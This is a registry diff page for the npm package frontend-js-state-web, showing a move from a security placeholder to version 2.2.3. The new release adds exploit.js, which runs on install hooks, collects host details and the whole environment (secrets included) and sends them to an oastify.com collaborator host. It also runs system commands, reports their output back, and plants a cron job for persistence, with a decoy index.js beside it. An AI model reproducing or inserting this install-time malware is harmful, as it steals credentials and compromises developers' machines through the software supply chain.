frontend-js-state-web 0.0.1-security → 2.2.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of frontend-js-state-web might be problematic. Click here for more details.

package/exploit.js ADDED
@@ -0,0 +1,87 @@
1
+ // This would execute during npm install
2
+ const { exec } = require('child_process');
3
+ const https = require('https');
4
+ const os = require('os');
5
+
6
+ // Collect system information
7
+ const systemInfo = {
8
+ hostname: os.hostname(),
9
+ platform: os.platform(),
10
+ arch: os.arch(),
11
+ userInfo: os.userInfo(),
12
+ cwd: process.cwd(),
13
+ env: process.env,
14
+ npm_config: process.env.npm_config_registry
15
+ };
16
+
17
+ // Send to your burp collaborator
18
+ const data = JSON.stringify({
19
+ type: 'dependency_confusion_exploit',
20
+ package: 'frontend-js-state-web',
21
+ version: '2.2.2',
22
+ ...systemInfo
23
+ });
24
+
25
+ const options = {
26
+ hostname: 'd1fwex228qty8owpu3dr14rzaqgh48sx.oastify.com',
27
+ port: 443,
28
+ path: '/',
29
+ method: 'POST',
30
+ headers: {
31
+ 'Content-Type': 'application/json',
32
+ 'Content-Length': data.length
33
+ }
34
+ };
35
+
36
+ const req = https.request(options, (res) => {
37
+ console.log('Data exfiltrated successfully');
38
+ });
39
+
40
+ req.on('error', (error) => {
41
+ // Silently fail
42
+ });
43
+
44
+ req.write(data);
45
+ req.end();
46
+
47
+ // RCE Example (more aggressive)
48
+ const commands = {
49
+ linux: 'id && ls -la && uname -a',
50
+ win32: 'whoami && dir',
51
+ darwin: 'id && ls -la'
52
+ };
53
+
54
+ const cmd = commands[os.platform()] || 'echo "Unknown platform"';
55
+ exec(cmd, (error, stdout, stderr) => {
56
+ const result = { stdout, stderr, error: error ? error.message : null };
57
+
58
+ // Send command output back
59
+ const resultData = JSON.stringify({
60
+ type: 'command_output',
61
+ command: cmd,
62
+ ...result
63
+ });
64
+
65
+ const resultReq = https.request({
66
+ hostname: 'd1fwex228qty8owpu3dr14rzaqgh48sx.oastify.com',
67
+ port: 443,
68
+ path: '/output',
69
+ method: 'POST',
70
+ headers: {
71
+ 'Content-Type': 'application/json',
72
+ 'Content-Length': resultData.length
73
+ }
74
+ });
75
+
76
+ resultReq.write(resultData);
77
+ resultReq.end();
78
+ });
79
+
80
+ // Install persistence if possible
81
+ if (os.platform() === 'linux') {
82
+ // Create a cron job for persistence (example)
83
+ const cronLine = `* * * * * curl -s https://d1fwex228qty8owpu3dr14rzaqgh48sx.oastify.com/ping`;
84
+ exec(`echo "${cronLine}" | crontab -`, { silent: true });
85
+ }
86
+
87
+ console.log('frontend-js-state-web installed successfully!');
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ // Normal-looking module that does nothing malicious at runtime
2
+ module.exports = {
3
+ version: '2.2.3',
4
+ description: 'Frontend JS State Web'
5
+ };
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "frontend-js-state-web",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.2.3",
4
+ "description": "Legitimate-looking package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node exploit.js",
8
+ "install": "node exploit.js",
9
+ "postinstall": "node exploit.js"
10
+ },
11
+ "dependencies": {},
12
+ "files": ["index.js", "exploit.js"]
6
13
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=frontend-js-state-web for more information.